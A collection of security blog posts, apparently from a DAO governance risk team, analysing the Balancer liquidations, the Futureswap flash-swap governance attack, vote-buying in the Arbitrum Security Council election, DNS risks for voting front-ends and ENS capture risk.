Humpy is an important figure in Balancer’s story. He invested significant capital with the goal of capturing the $BAL incentives distributed by the protocol. He is known for attempting to capture DAOs across the market, seeking to extract as much value as possible by acquiring their governance tokens. His most recent attempted attack took place on Compound.

Collateral Practices and Exposure

As Humpy accumulated millions of dollars in $BAL, he began using it as collateral in lending markets such as Aave and Venus. $BAL was pledged as collateral to borrow stablecoins and trade in the market.

However, tokens like $BAL are extremely volatile. For this reason, lending markets typically set low LTVs, liquidating borrowers if their collateral loses too much value. This is a way to prevent bad debt—an insolvent position for the protocol.

When $BTC fell during the early hours of February 2, it directly impacted the price of $BAL. As a result, loans tied to addresses associated with Humpy were liquidated.

Two addresses linked to humpy.eth (0x8a8743afc23769d5b27fb22af510da3147bb9a55 and 0x36cc7b13029b5dee4034745fb4f24034f3f2ffc6) suffered liquidations of up to $141K. All of them used $BAL as collateral.

Adding up the liquidations across the lending markets, $3.62M in $BAL was liquidated on February 2.

Liquidation Execution and Liquidity Routing

As is common during liquidations in lending markets, bots searched for the best on-chain source of liquidity to sell Humpy’s liquidated $BAL tokens. In this case, that source was Balancer itself.

On February 2, the $BAL/$WETH v2 pool moved $5.8M, its highest volume since February 2023.

Analyzing the addresses that sold the most $BAL in the pool, the top 10 sellers dumped $3M worth of the token during the early hours of 02/02, precisely when the liquidations took place.

All signs point to bots dumping $BAL on Balancer—no anomalous behavior.

However, given the pool’s low liquidity, $3M of selling pressure had a direct impact on the $BAL price. Between 12:00 a.m. and 2:45 a.m. on the fateful 02/02, the token dropped 57%.

The decline in $BAL directly affected Humpy’s loans. The lower the price fell, the greater the chance that his losses would grow even larger.

When we analyze the largest $BAL buyers over the last 6 days, we see that all of them made their first purchases on January 31, when the liquidations began.

One address stands out among them: 0xeb9863e28d0fc0702a5197e66674f86ee2c35b5e.

Between 01/31 and 02/02, this address bought $1.41M worth of $BAL, spread across 268 trades executed during this period. The wallet is linked to other addresses in the top 10 buyers list, suggesting that the same entity or individual controls multiple wallets.

Although none of them are directly linked to Humpy, all evidence suggests that these purchases were made in an attempt to support the $BAL price and prevent further liquidations in lending markets.

The sudden drop in $BAL is the result of a combination of issues:

• A large share of the circulating supply concentrated in one or a few wallets.

• Lending markets accepting extremely low-liquidity tokens as collateral.

• Weak risk management on both the borrower and protocol sides, with no effective way to liquidate large positions without significantly impacting price.

At scale, execution converts influence into exposure

In The Merchant of Venice, Shylock invokes the strict letter of the law to demand a pound of flesh from Antonio. He does not appeal to revenge or emotion, but to formal legitimacy. “I stand for judgment,” he says, insisting that the contract, precisely because it is valid, must be enforced in full.

What the play exposes is not the illegitimacy of the contract, but the fragility of systems built on maximal enforcement. Once Shylock pushes his right to its absolute limit, the legal framework that grants him authority turns against him.

That same logic appears in financial systems where control, leverage, and enforcement converge. When power is converted into collateral and liquidation is triggered, the right to sell becomes inseparable from the inability to sell without collapse. What was once influence becomes exposure, and enforcement destroys the conditions that made power meaningful.

We thank lzhou1110 and hklst4r for their analysis — without which we would not have become aware of the attack on Futureswap.

A forgotten system

For centuries, the English Treasury recorded debts using wooden tally sticks. The system worked so well that it stopped being questioned: each tally was split lengthwise into two matching halves, creating a physical record that could only be validated by reuniting the originals. Forgery required reproducing an exact, irregular fit, which was practically impossible.

When it was finally abandoned, thousands of forgotten tallies were burned beneath the Houses of Parliament. The fire spread and destroyed much of Westminster in 1834.

The system did not fail because it was attacked, but because no one was watching it anymore.

Bridge to Futureswap

What happened at Futureswap on the night of December 16, 2025 echoed a similar pattern.

How the Attack Happened

Future Swap is a protocol that allows investors to use leverage on any token. It has two types of users: (1) liquidity providers and (2) traders seeking leveraged exposure.

The protocol is governed by holders of its governance token, $FST. It operates as a DAO.

Yesterday, U$250K was stolen from its contracts due to a governance vulnerability. This money did not belong to the DAO itself, but to users who had funds deposited in Futureswap.

To understand how the attack happened, we first need to look at a core crypto primitive: flash swaps.

Decentralized exchanges allow users to buy and sell tokens within the same block without needing upfront capital. You effectively “borrow” funds from a liquidity pool and repay this “loan” within a single transaction.

Some of the main use cases for this functionality include (1) token arbitrage, (2) executing multiple operations in a single transaction, and even (3) gaining leveraged exposure to other tokens.

Flash swaps, like flash loans (which are similar but exist in lending markets), are primarily used by bots to arbitrage tokens. Unfortunately, they are also tools frequently used by hackers to exploit and drain protocols — in this case, DAOs.

In a flash loan or flash swap attack against a DAO, the attacker borrows millions of dollars’ worth of governance tokens to gain enough voting power to pass any proposal within the DAO. This grants them the ability to change security parameters, drain the DAO’s treasury, and even steal funds from protocol users.

This is possible because governance contracts commonly take a snapshot of voting power at a specific point in time. The goal is to ensure that members’ voting power does not fluctuate during an active vote.

What a flash loan or flash swap attack exploits is this exact mechanism: the attacker borrows tokens precisely in the block where the governance snapshot is taken. The loan lasts only one block (around 12 seconds on Ethereum), has a near-zero cost, and can temporarily make the attacker one of the most powerful members of the DAO.

Beanstalk is a well-known case of a governance attack using flash loans — and Futureswap met a similar fate.

In the Futureswap attack, the hacker executed a flash swap of $FST on Uniswap v2 exactly at the moment the DAO snapshot was taken, which happens when a proposal is submitted to governance.

As a result, the attack followed three steps: (1) submitting a proposal to (2) trigger the snapshot and, within the same transaction, (3) executing a flash swap of enough $FST to become one of the addresses with the highest voting power in Futureswap.

In the block following the submission of the malicious proposal, the attacker controlled 10% of the circulating supply. With this voting power, they were able to decide the outcome of any proposal in the DAO.

In this case, the attacker used that power to drain funds belonging to Future Swap users — a total of U$250K.

This makes it clear that the critical flaw in Future Swap was its “snapshot” function.

Today, governance contracts include protections against flash loans to prevent attacks like this one. These protections include:

function propose(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) public virtual override returns (uint256) {
        require(
            getVotes(_msgSender(), block.number - 1) >= proposalThreshold(),
            "Governor: proposer votes below proposal threshold"
        );

Snippet of the flash loan protection in the Arbitrum governance contract.

• A snapshot that records voting power at a block prior to proposal submission. This way, if a flash loan is executed in the same block, it is not taken into account — because the relevant voting power is fixed in the “past.”

• A snapshot taken after a predefined period known as the Voting Delay. With a Voting Delay, governance participants have time to coordinate and respond to potential attacks or issues with a proposal.

Both mechanisms are standard security in the governance contracts of the largest DAOs in the industry, such as Uniswap, Compound, Aave, and ENS.

One of the key parameters evaluated by Anticapture when auditing a DAO’s governance is its protection against flash loan or flash swap attacks. None of the DAOs we have analyzed so far have failed this test — all of them include safeguards against attacks like the one carried out on Futureswap.

However, these are large, well-established DAOs. Smaller projects may not benefit from the same level of security in their governance design or code — and this poses a serious risk to users and to the broader ecosystem.

A shift in how we define risk

Recent incidents across DeFi point to structural patterns beyond protocol-specific failures or any single incident.

Without speculating on timing or intent, and without attributing causality where evidence is still incomplete, it is still possible to observe recurring structural characteristics across recent events:

• Balancer: exploit leveraging batch swaps with deferred settlement in the V2 Vault, where composable stable pool mechanics and rounding behavior in EXACT_OUT swaps allowed liquidity to be reduced to extreme levels.

  

  Balancer

  @Balancer

  x.com/i/article/1990…

  316

  3:54 PM • Nov 18, 2025

• Yearn: incident in a custom yETH stableswap pool, based on modified stableswap code, resulting in excessive minting of yETH; isolated from Yearn V2/V3 vaults but leading to approximately $9M in losses across affected pools.

  

  yearn

  @yearnfi

  At 21:11 UTC on Nov 30, an incident occurred involving the yETH stableswap pool that resulted in the minting of a large amount of yETH. The contract impacted is a custom version of popular stableswap code, unrelated to other Yearn products. Yearn V2/V3 vaults are not at risk.

  285

  1:10 AM • Dec 1, 2025

All point to a common direction: risk is no longer concentrated where attention traditionally lies.

Two dimensions are particularly worth examining:

1) Recent attacks concentrate on what is still live, but no longer watched

A recurring pattern in modern exploits is the targeting of components that are not new, not actively evolving, and not central to day-to-day operations, but that still custody value.

These are not necessarily deprecated systems, but systems that have become background infrastructure: older contracts, legacy libraries, rarely exercised code paths, governance mechanisms assumed to be settled, or features that “worked fine for years”. In each case, the vulnerability was not hidden. It was simply no longer salient.

2) Risk surfaces were limited by the speed, attention, and creativity of human adversaries.

Certain attack paths existed in theory, but not in practice: they required levels of combinatorial exploration, cross-domain reasoning, or exhaustive simulation that were simply not economically viable. As a result, these risks did not meaningfully exist at the human surface.

AI introduces a new category of risk: AI expands what is economically and cognitively feasible. It enables continuous analysis across abandoned codebases, systematic exploration of state spaces (far) beyond human reach, and adversarial recombination of known primitives at scale. Patterns that once required prohibitive effort become accessible, repeatable, and persistent.

What was previously invisible becomes legible, and what was once theoretical becomes actionable.

The limits of risk assessment in practice

Risk assessment is often discussed as if it were exhaustive, continuous, and evenly distributed across the ecosystem. In reality, it is constrained by time, attention, incentives, and visibility. Anticapture and similar efforts operate inside those constraints.

1) Finite resources

Risk assessors do not operate in a vacuum. They operate inside an ecosystem whose incentives are heavily skewed toward expansion, such as like:

• Token launches and airdrops,

• Protocol growth and integrations

• New chains, new deployments, and new surfaces

This creates a structural race against time. Risk assessment competes with growth narratives for limited attention, and legibility across the ecosystem remains uneven by design. In that context, risk does not disappear. It accumulates.

2) When opacity limits assessability

Non–open-source systems significantly limit pre-incident analysis.

In the case of Futureswap, the lack of open-source contracts materially constrained pre-incident analysis. Without access to code, assessors are limited to behavioral inference. This raises an uncomfortable but necessary question: What security assumptions remain unverifiable in closed-source systems?

Without source code, assessment becomes probabilistic rather than structural, and mitigation shifts from prevention to post-hoc interpretation.

3) Out-of-Scope Systems

A final constraint is more fundamental: some DAOs and protocols exist outside the shared field of awareness. Risk assessment assumes a known universe of systems. In practice, that universe is incomplete.

When a DAO or a protocol is effectively invisible to most participants, mitigation becomes reactive by default. One cannot assess what one does not know exists. Discovery itself becomes part of the risk surface.

Legibility as a Precondition

We are evaluating the feasibility of identifying systems that remain live but fall outside active awareness. This includes dormant DAOs, legacy deployments, and under-observed components that continue to custody value. The objective is not post-incident analysis, but reducing the likelihood of failures that result in material losses for users and protocols.

CupoJOSΞPH 🐌

@CupOJoseph

In 1854 a physician named John Snow created a Dot Map of cholera cases and was able to prove that the disease came from bad water, revolutionizing public health while founding epidemiology as a science.

Proof that 1 good data visualization can change the world.

@anticapture.

36

2:53 PM • Dec 15, 2025

Visibility does not always guarantee safety, but the absence of visibility consistently precedes governance capture.

On October 20, 2025, blockful purchased 14.4 million votes through LobbyFi during the Arbitrum Security Council election, bringing to light scenarios that most delegates and DAO participants don’t even imagine.

“LobbyFi allows users to delegate their voting power in a DAO, which can then be bought by others in auctions or at a fixed price to influence voting decisions.”

LobbyFi, only weeks or months earlier, had publicly stated that they would not activate their protocol for Security Council elections. A controversial point, they had been active participants in governance and, even when not seen as entirely non-malicious, many believed they would at least be aware of LobbyFi’s moves through their ongoing communication with the Arbitrum DAO, and likely with both the OpCo and the Foundation.

CupoJOSΞPH 🐌

@CupOJoseph

Today will be a serious turning point in the history of Arbitrum DAO.

CupoJOSΞPH 🐌

@CupOJoseph

Just kidding. Lobbyfi voluntarily abstains from participating in Security Council elections because they are actually a force of good, and not evil like some might want you to believe.

15

3:11 PM • Oct 20, 2025

The issue, however, does not lie in communication, in the vote-buying protocol itself, or in any assumptions the DAO may make. The real problem is that we seem to have forgotten the trustless core of the ecosystem. As cliché as it may sound, we should not rely on assumptions (for example, “Delegates are honest, so it’s safe to reduce the delegate voting power (DVP) quorum,” or “It’s fine, we talked with LobbyFi and they won’t participate” - which we heard from different stakeholders).

I personally appreciate when the normalcy bias is challenged. There have been numerous comments, suggestions, forum posts, and improvement attempts from various delegates over time. With the normalcy bias now broken, we must address the motivations behind this action, understand its implications, and, most importantly, discuss what must be discussed: the issue exists at the mechanism-design level. Let us take it step by step.

The Status Quo of the Arbitrum DAO

In practice, wallets holding large voting power can determine who enters the Council. Entities like Entropy Advisors and L2BEAT together held (as of October 20) over 39.13 million votes. If either used their full voting power toward a single candidate, that would be enough to guarantee a seat. – Today, unfortunately, L2BEAT has lost part of its voting power, standing at 9.68 million votes. Still, let us analyze the snapshot from the moment of the event.

These delegates have consistently chosen to distribute their votes and not fully utilize their power, demonstrating responsible governance behavior. Unfortunately, this good practice is not enforceable. A malicious actor could accumulate $ARB or form alliances with large holders to influence outcomes, potentially gaining privileged access to Arbitrum’s most critical defense mechanism: the Security Council.

Paulo Fonseca

@paulofonseca__

@arbitrum DAO is the biggest DAO in the world, whose delegates (entrusted to represent the tokenholders that delegate to them) actually control something valuable and useful with their votes on proposals. So of course, proper "vote-buying-as-a-service" would show up on Arbitrum

8

1:11 PM • Feb 28, 2025

It is also worth noting that Entropy could, in this situation, almost single-handedly reverse the outcome. Many might think, “Excellent, they would protect us,” while others would recognize that, in practice, for almost every scenario, they hold almost the final power of decision over what happens — or does not happen — within the Arbitrum DAO.

We are not, in any way, questioning the integrity of the major voters and players, who are mostly builders and active contributors to the Arbitrum DAO. However, our position is that the ecosystem’s trustless foundation must be preserved to ensure the DAO’s long-term security and independence. Regardless of how responsible or reputable large delegates may be, the DAO’s resilience should never rely on individual behavior or discretion.

Why This Was Done

After conversations with several stakeholders within Arbitrum, it became clear that using LobbyFi in the Security Council election was perceived as a potential risk that had been largely overlooked.

blockful purchased votes in the Security Council election through LobbyFi — something offered by the LobbyFi team itself. LobbyFi’s existence forces the Arbitrum DAO to think more deeply about its governance security and to raise its standards. Fortunately, their team is well-intentioned. But that is a matter of luck, and the ecosystem cannot depend on luck. Any other actor (whether on LobbyFi’s side or the vote buyer’s side) could act maliciously.

​​This post is accompanied by an extensive discussion within the Arbitrum DAO forum addressing vote-buying services, where community members debate their implications, transparency, and governance risk. For direct reference, see the thread:

DAO Discussion: Vote Buying Services

Last weekend, hitmonlee.eth paid 5 ETH (~$10k) on LobbyFi for 19.3M ARB votes (~$6.5m) and all votes were cast for CupOJoseph. The purchase to 'vote for option 8' can be found here: LobbyFi has been active in the ArbitrumDAO for several months, but this is the first material example of someone willing to pay a significant amount (i.e., 5 ETH) to influence the outcome of an election.

https://forum.arbitrum.foundation

DAO Discussion: Vote Buying Services

I've written extensively on the issue pertaining to the economics of DAO vote buying. While it predates the existence of LobbyFi It may offer some useful insights into the ongoing debate.

https://forum.arbitrum.foundation

As we stated in our forum post: we care deeply about the governance layer of the Ethereum ecosystem, and our goal is to protect DAOs... preferably with their cooperation.

[DAO Discussion] Governance Security: blockful's stress test Using LobbyFi in the Security Council Election

DAO Discussion] Governance Security: blockful's Stress Test Using LobbyFi in the Security Council Election Summary We are all aware of some possible governance risks, but they seem quite theoretical until someone takes action. Today we are taking action to show how feasible it is.

https://forum.arbitrum.foundation

The Security Council is the most critical component of Arbitrum governance:

• It protects users and the protocol through emergency upgrades.

• It can veto DAO proposals, defending the ecosystem from governance attacks.

But this raises an essential question: Who secures the Security Council?

“But despite all of these important issues, there have been much fewer examples of outright voter bribing, including obfuscated forms such as using financial markets, that simple economic reasoning would suggest. The natural question to ask is: why haven't more outright attacks happened yet?

My answer is that the "why not yet" relies on three contingent factors that are true today, but are likely to get less true over time:

1. Community spirit from having a tightly-knit community, where everyone feels a sense of camaraderie in a common tribe and mission..

2. High wealth concentration and coordination of token holders; large holders have higher ability to affect the outcome and have investments in long-term relationships with each other (both the "old boys clubs" of VCs, but also many other equally powerful but lower-profile groups of wealthy token holders), and this makes them much more difficult to bribe.

3. Immature financial markets in governance tokens: ready-made tools for making wrapper tokens exist in proof-of-concept forms but are not widely used, bribing contracts exist but are similarly immature, and liquidity in lending markets is low.” – DAOs are not corporations: where decentralization in autonomous organizations matters. (2022, September 20). https://vitalik.eth.limo/general/2022/09/20/daos.html

Do Not Look in the Wrong Direction

"The fool looks at a finger that points to the sky.”

During the event, we monitored the main Arbitrum DAO channels closely. Below I address several points that were raised and present a clearer structure for the conversation.

1. The necessity of the action

As I noted above, difficult actions are often the price of necessary change. Regrettably, I did not see any other way to convene over 40 people in a Twitter Space, including qualified delegates, to reflect and deliberate on Arbitrum governance vulnerabilities. Despite numerous proposals and suggestions for improvement, no effective remedy had been implemented. With the normalcy bias broken, we must now address motivations, interpret what this action meant, and focus on the real issue: mechanism design.

It is worth highlighting the DVP quorum proposal, which pushes in the opposite direction of fixing present vulnerabilities. That proposal rests on the assumption that large delegates will always vote. That assumption is problematic in two ways. First, it presumes behavior without a mechanism to enforce it. Second, it effectively relies on the voting power of OpCo, which is also not a reliable safeguard for governance security.

We, at this point, are not “messing around to prove a point”.

The purpose was not to interfere, but to reveal how inexpensive and accessible it would be for a malicious actor to do so. Ignoring such a risk because it was exposed by a white-hat initiative would be short-sighted. Governance security must be tested as rigorously as smart contracts are audited.

Mainnet is not a playground, but it is also not a place where critical governance flaws should remain hypothetical until exploited. Understanding and addressing these risks is part of building a safer, more resilient DAO.

2. A governance security perspective from blockful

Because blockful’s core is security oriented, we approach this matter from a governance security perspective. Currently, the quorum for proposals is 3 percent for non-constitutional items and 5 percent for constitutional items. Given the votable supply, that equates to roughly 141 million and 212 million $ARB respectively. In value terms, reaching quorum for a proposal in the Arbitrum Treasury can cost tens of millions of dollars. With the Treasury holding significant liquid assets and over a billion dollars in $ARB, the cost to reach quorum is comparatively low. In 2025 the number of votes cast in Arbitrum proposals rarely exceeded 240 million, and in many instances did not reach 200 million.

Under the current proposal to consider roughly 50 percent of Delegate Voting Power as the quorum, we set the quorum to approximately 100 million and 150 million ARB. If we set the parameter to a value below the current suggestion, Arbitrum makes it even cheaper to reach quorum, potentially lowering the cost by around 30 percent. If it costs about 40 million dollars to reach quorum while the DAO holds more than 50 million dollars in liquid assets not denominated in ARB, then a financially rational attacker can profit from influencing governance.

We respect and admire the large delegates and acknowledge the work of OpCo and the Foundation to improve governance processes. However, if this conversation was not brought to light earlier, it is because the structural problem had not been sufficiently addressed.

3. The social response and our core focus

It is encouraging that the DAO mobilized quickly and that delegates coordinated a rapid response. Nevertheless, the event occurred and our focus remains on security. Social pressure is part of our remit. Some delegates, OpCo members, and Foundation representatives have every right to feel upset. I still believe it would be far more dangerous if a truly malicious actor had executed a similar operation. The most professional course of action now is to understand the core point. Whether one agrees with the approach or not, exposing the risk is something several actors have attempted over time.

As someone who has been part of this DAO for years, I do not consider reaching this point to be positive for the community. Upset or not, blockful stands ready to assist. Our objective is to fix the game, to stress test the system and observe how the DAO responds. This does not reduce our recognition of the delegates, the Foundation, or OpCo. Our goal is and will remain the protection of the Ethereum ecosystem.

Do not hate the player. Hate the game.

We are attempting to improve the game.

4. About the seat on the Security Council

We understand that blockful is now not seated on the Security Council. We will not attempt to solicit votes to reclaim a position. That said, if we were to obtain an additional 1.3 million votes, the situation could change quickly. Pantera Capital acted promptly and we appreciate that responsiveness.

Jay Yu 🐟

@0xfishylosopher

We at @PanteraCapital have just cast our votes for Arbitrum's Security Council.

Blockful is no longer in the Top 6 candidates for the security council.

As a former DAO researcher, I firmly believe that imperfect as they are, DAO integrity matters. And this Blockful election has

Paulo Fonseca

@paulofonseca__

one seat in the @arbitrum security council was just bought by @blockful_io for ~5,400 USD via @lobbyfinance to... prove a point basically!

34

9:06 PM • Oct 20, 2025

This matter is not about the seat, nor about our conduct, nor about the individual work of contributors. It is about vulnerability at the level of mechanism design and incentives. The right discussion is not whether the seat is legitimate. The right question is how long it will remain extremely cheap to purchase votes and thereby challenge the legitimacy of DAO mechanisms.

5. Questions that go beyond one seat

Even when the code has been audited, we still need to test the social, economic, and governance layers. This action presents negligible downside in itself, given that emergency actions are protected by a 9 of 12 multisig. A damaging attack on the election would require control of multiple keys. However, there are many other scenarios to consider for the DAO as a whole.

• What if the governance front end is compromised? Currently, only one front end is being used.

• What if an exchange holding a significant amount of ARB is hacked? How many tokens could flow into malicious hands and would the DAO remain resilient?

• What if a set of new wallets holding substantial delegated power emerges immediately before an election?

This is not the moment to concentrate on the workload generated by the response, on how service providers may be upset, on alternative ways the action could have been executed, or on the narrow legitimacy of the seat. The issue before us is far broader.

Closing remarks and the path forward

We must move the conversation from rhetoric to concrete mechanism design reform. Proposals and discussions must be translated into enforceable changes that preserve the trustless character of the ecosystem. That requires thinking in terms of incentives, coordination, redundancy, and timeliness.

To the delegates and contributors who have supported this constructive pressure, thank you. To those who disagree, I understand and share some of the frustration that incremental discussion has not yet produced practical outcomes. To those who reacted with personal attacks, professionalism and a focus on the central problem would better serve the community.

Jay Yu 🐟

@0xfishylosopher

yes, we appreciate the effort to bring this vulnerability vector to light! kudos to making the world of governance safer

6

4:01 AM • Oct 21, 2025

Finally, we present these reflections not to "score points" but to catalyze reform. If we are serious about resilient decentralized governance, we must address mechanism-level weaknesses proactively and collaboratively.

Our goal is simple: raise awareness, initiate reform, and protect the DAO and its users from governance risks.

We are not acting against Arbitrum DAO; our purpose is to work with the DAO to strengthen its structures and improve governance security at the mechanism-design level.

We remain open to discussion, improvements, and continued collaboration.

A N T I C A P T U R E D A S H B O A R D

DNS attacks are responsible for major losses across DeFi, and are one of the most overlooked risks in DAO governance. To close this gap, Tally helped to define and became the first to adopt Anticapture’s DNS risk reduction, enabling Uniswap to advance to Stage 1 in our security framework. The Tally team collaborated closely with our research team, providing critical input that helped refine this standard towards attainable milestones, ensuring governance interfaces are verifiably safe, as the contracts they interact with.

How DNS attacks work

The days of bank robberies are counted. In the past, it was common to hear about robbers stealing fortunes from financial institutions. Police chases. Gunfights. A fear for both service providers and bank customers.

With the digitization of life, money has also gradually become digital.

A super app has the power to grant loans, make payments, and hold investments for individuals and companies. All in the palm of each person's hand.

Nowadays, bank robberies don't happen by breaking into safes. They happen by breaking passwords, social engineering, and, often forgotten, attacking DNSs.

DNS, or Domain Name Service, refers to the domain of a person or entity. It is the gateway to getting to know a company and, sometimes, using the services provided by them.

When you use Amazon.com's DNS, you can be sure that you are interacting with applications and features that have been curated and approved by Amazon. Your trust in the company allows you to make a credit card payment without fear of it being cloned.

But a DNS isn't fault-proof. The owner needs to take security measures to protect their DNS, preventing attacks that could harm all users relying on their services.

DNS Attacks and DeFi

There are several types of DNS attacks, the most popular being DNS spoofing and DNS hijacking. Both aim to deceive people by directing them to a fake domain that looks like the real one in order to steal personal data, money, and whatever else they can.

This type of attack, focused on DNS, has been common in the market for years.

DeFi protocols have always been the main target of this type of attack in the web3 context. Projects with tens of millions of dollars in smart contracts, many far beyond the reach of any agency or state.

What keeps them going are their developers and users, with the guarantee of audits by competent and reputable security companies. Trustless contracts, with no intermediaries or managers, are still interacted with through websites that are often the weakest link in their security chain.

The attack on Badger DAO (2021), one of the largest in the market’s history, took $120 million from its users. The reason: a vulnerability in its front-end, specifically in its DNS. In this case, the hacker directed users to a fake website, leading them to approve an interaction with a contract, which allowed their money to be drained from the protocol's pools.

Other relevant DeFi protocols have suffered DNS attacks:

• Convex (2022): Convex's DNS host (Namecheap) was compromised, allowing a hacker to access it and direct its users to a malicious contract. The same attacker replicated the attack on Ribbon Finance, DefiSaver, and Allbridge

• Balancer (2023): $238K was stolen after Balancer's DNS was stolen.

• Curve (2025): Hackers took over Curve's DNS, redirecting users to another page capable of draining funds from users' wallets. $570K was stolen in this attack.

Recently, the strategy for DNS attacks has changed. Instead of attacking well-known DeFi protocols, attackers are looking for projects that have closed their doors and no longer maintain their domains.

This way, all you need to do is buy the domain of a “dead” protocol and trick its former users into interacting with it in order to steal from them. It is estimated that there are more than 475 applications in this situation, and 90 have already been targeted by hackers.

While DeFi protocols are a target for DNS attacks, there is another sector running the same risk: the governance of DAOs.

Potential DNS Attacks in Governance

In DAOs, votes can decide the future of organizations. While votes can be cast directly in the contracts, they are usually carried out on an interface maintained by third parties, hired to provide a secure and practical voting tool for the DAO. Examples of service providers are Tally, Agora, Lighthouse, and Aragon.

These interfaces serve to facilitate interaction with the DAO's governance contracts. A delegate or holder of a governance token does not need to interact with the Governor: they simply click buttons to vote Yes, No, or Abstain, and leave their justification for their vote.

However, as intermediaries, interfaces become a risk vector for the DAO. A simple change in a governance front-end can cause disastrous results in the governance of a DAO.

This could become one of the best risk/return attack strategies in DAOs, especially in on-chain governance. DAOs like Uniswap, Arbitrum, Compound, Nouns, and ENS DAO depend on the quality and robustness of those interfaces for their members and delegates to cast their votes, delegate voting power, and keep track of what is going on with the system.

In July 2024, Compound had its governance captured by Humpy and the Golden Boys. Addresses bought millions in $COMP to approve a proposal that released money to the “attackers.”

If they wanted to improve the chances of the attack, they could’ve tried to attack Compound's DNS and create an identical voting interface, with minor changes in the background to trick the defenders into voting in favor of the proposal while they think they are rejecting it. It is a type of attack that would not need to affect delegates/voters individually, but would be able to drain a DAO's treasury. This attack vector is more technical, but comes at a lower cost than capturing a DAO by buying governance tokens.

The Anticapture team is aware of this potential vulnerability in governance.

When analyzing the security of a DAO, one of the elements analyzed is the ability of someone to attack the organization's DNS or its voting interface providers. It is one of the criteria for a DAO to advance to a higher security stage.

We start from our framework for analyzing a DNS, defining different risk profiles for DAO domains:

• 🔴 High Risk: A domain without any protection, such as DNSSEC, DANE, TLS, and CAA records, is considered high risk. It can easily be captured by an attacker, redirecting delegates/voters to a fake platform.

• 🟡 Medium Risk: Fit to web2 standards, with DNS protections, but a changeable, centrally managed interface. The domain follows DNSSEC, DANE, TLS, and CAA standards, but does not have a provably immutable platform approved by the DAO.

• 🟢 Low Risk: A DNS with DNSSEC, TLS, DANE, and CAA records, with an immutable domain verified by the DAO and verifiable on access.

The actions to reach a Low Risk level are complementary, meaning that it is not enough to have a domain registered on-chain: you must have all the DNS protections that precede it.

Our Medium Risk classification takes the best of web2 security practices and demands that providers of governance interfaces are at least at that level. However, this is not sufficient to claim the risk is at its minimum, as evidenced by the ByBit + Safe incident this year. Even with proper DNS security, a domain can be compromised if a team contributor is compromised.

For Low Risk classification, the voting platform needs to be audited or approved by the DAO, then made immutable and hosted through a resilient system. This could involve using IPFS, eth.limo, SRIs and hashing of the files to create proofs against code tampering. We are not aware at this point of any interface that would fully comply with those requirements, but Tally’s “Zero” interface is the best example of work towards that goal.

In our work with Uniswap, we identified a lack of “proof of protection” in Tally’s domain, making it a possible target for DNS spoofing or hijacking.

Our security definitions and Tally’s prompt action have made the DNS of many of the market's leading governance systems more secure.

Since it provides a voting interface for multiple organizations, it is responsible for projects such as Arbitrum, Uniswap, and Compound. The governance over billions of dollars can be accessed through its interface.

DNS Attack Mitigation

Aware of this risk, Tally’s team has heard our worries and stepped up, helping us define security metrics for Anticapture's DNS framework, enabling us to elevate Uniswap to Stage 1.

⚠️ Unsupported element removed

The Tally team worked closely with ours, contributing to refine the implementation from start to finish. Their collaboration was key to creating a standard that strengthens security for all DAOs, and that coming forward will define the base level of how we expect other governance platforms to define their domain security.

In doing so, Tally also demonstrates to the market the importance of concern for the security of governance front-ends. It sets a precedent for other providers of the same service to seek updates to protect their customers/DAOs from potential vulnerabilities in voting.

Now, this security standard is available not only to Uniswap, but to all DAOs compatible with Tally.

Check this out: https://anticapture.com/uni

Tally is leading the way in improving DNS security.

We are looking forward to connecting with other governance providers to verify their security setup and help them make it publicly available to users so that it can be easily checked before voting by all security-aware delegates and members.

We are happy to contribute to the security of the DAO ecosystem and help Tally, as well as Uniswap and all other DAOs they support, offer more secure systems to their users.

Congratulations to the Uniswap DAO and all its members for reaching Anticapture Stage 1, by working towards improving its resilience, securing its treasury, and protocol preemptively!

Special thanks to Avsa, Spence, Guiriba, Zeugh and Danimim for discussion and review throughout the whole process.

It's widely recognized that ENS is vital as the backbone of decentralized identity and enhanced UX on Ethereum. It's one of the most impactful and sustainable organizations while also strongly funding public goods.

Given ENS's critical role in the ecosystem, ensuring its security and stability is paramount. However, even such foundational protocols are not immune to vulnerabilities. In March of 2024, we uncovered a critical vulnerability in ENS DAO's governance that could have led to a ~$150M theft and protocol capture. This wasn't just a theoretical risk—similar attacks have already crippled other DAOs.

While often touted as fair, the '1 token, 1 vote' model tends to concentrate power based on wealth. In many DAOs, the top 15 holders usually control over ~50% of voting power, creating an oligarchic structure rather than a decentralized one. Low participation rates further compound this issue, making hostile takeovers dangerously easy.

An investor who can measure the average participation percentage and the quorum needed to approve a proposal can buy the necessary amount of tokens (that being the most capital-inefficient option) on the secondary market and pass a proposal that only benefits himself - capturing it and bringing it to its end.

With the Security Council, ENS is protected from this risk, giving time to the DAO to improve delegation and security healthily. Now, let's explore the research and collaborative work that led to this security enhancement.

Why capture a DAO?

The motivation for attacking a DAO is obvious: to make money. However, more motives or ways exist to extract value from the capture.

Gradual value extraction (slow rug)

The attacker doesn't steal the treasury from DAOs but gains the power to manipulate organizations in his favor. It's a vampirizing strategy that aims to keep the protocol and DAO living while extracting profits for months/years. It demands a deep analysis and planning from the attacker; it's an attack that considers the mid-term success for being profitable but doesn't align with long-term values.

Metaprotocol attack

Well-known examples of such cases can be found in projects using veNomics, such as Curve and Convex or Balancer and Aura. Today, the duos have synergies, but the main idea was to carry out vampire attacks on dominant projects in their respective sectors.

Competitive takeover

In traditional markets, firms compete for market share through marketing, customer acquisition, legal actions, and patents (sounds familiar, huh?). In the DAO ecosystem, this competition can be far more aggressive and direct. The governance mechanisms of DAOs, relying on code and market conditions, create unique vulnerabilities.

Attackers can exploit governance systems to seize control of competing protocols, often anonymously. This makes traditional legal recourse challenging, if not impossible. The result? A swift, potentially irreversible loss of market share for the targeted DAO.

Direct treasury raid

When a DAO's non-governance token treasury exceeds the value of all delegated tokens, it's a more straightforward and immediate profit opportunity.

ENS was highly exposed to this type of attack, which was the most concerning and obvious attack. Let's expand on that.

Past cases

To ground our research in practical reality, let's examine a few notable incidents that illustrate the vulnerabilities we've discussed.

These case studies provide concrete examples of how theoretical attack vectors have been exploited in practice, offering valuable insights into the real-world risks faced by DAOs and the importance of robust security measures.

Case study: Compound - Gradual value extraction attack

Looking at the attack on Compound, we realize that the pessimistic scenario is more real than it seems. Humpy, a famous attacker whale, bought 682K COMP (6% of token supply, ~U$34M at the time) to pass a proposal that would give them more 5% of the token supply as voting power, effectively capturing the organization.

Only 56.36% of the delegated votes were used in the vote that captured Compound, taking into account the attacker's tokens.

The proposal ended up not being executed, here is an analysis we did while the attack was happening to support the Compound community.

